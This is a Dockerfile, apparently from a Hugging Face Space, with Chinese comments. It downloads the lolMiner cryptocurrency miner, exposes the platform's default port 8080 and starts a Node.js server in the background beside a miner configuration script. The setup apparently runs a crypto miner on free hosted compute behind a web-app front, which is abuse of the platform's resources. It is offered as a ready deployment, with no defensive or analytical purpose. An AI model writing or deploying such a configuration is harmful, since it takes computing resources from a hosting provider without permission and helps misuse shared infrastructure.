Spaces:
Running
Running
FROM ubuntu:20.04 | |
ENV DEBIAN_FRONTEND=noninteractive | |
ENV TERM=xterm | |
# 安装必要的依赖,并设置时区为上海 | |
RUN apt-get update && \ | |
apt-get install -y tzdata wget tar nodejs npm && \ | |
ln -fs /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \ | |
dpkg-reconfigure --frontend noninteractive tzdata | |
# 下载最新版本的lolMiner | |
RUN wget https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.94a/lolMiner_v1.94a_Lin64.tar.gz -O lolMiner.tar.gz \ | |
&& tar -xvf lolMiner.tar.gz \ | |
&& mv 1.94a/lolMiner /usr/local/bin/lolMiner \ | |
&& rm -rf 1.94a lolMiner.tar.gz | |
# 复制配置文件和Node.js应用 | |
COPY miner-config.sh /app/miner-config.sh | |
COPY index.js /app/index.js | |
WORKDIR /app | |
# 安装Node.js应用的依赖 | |
RUN npm install | |
# 暴露Hugging Face默认端口 | |
EXPOSE 8080 | |
# 运行Node.js服务器和lolMiner,直接将输出重定向到控制台 | |
CMD ["sh", "-c", "node index.js & bash miner-config.sh"] |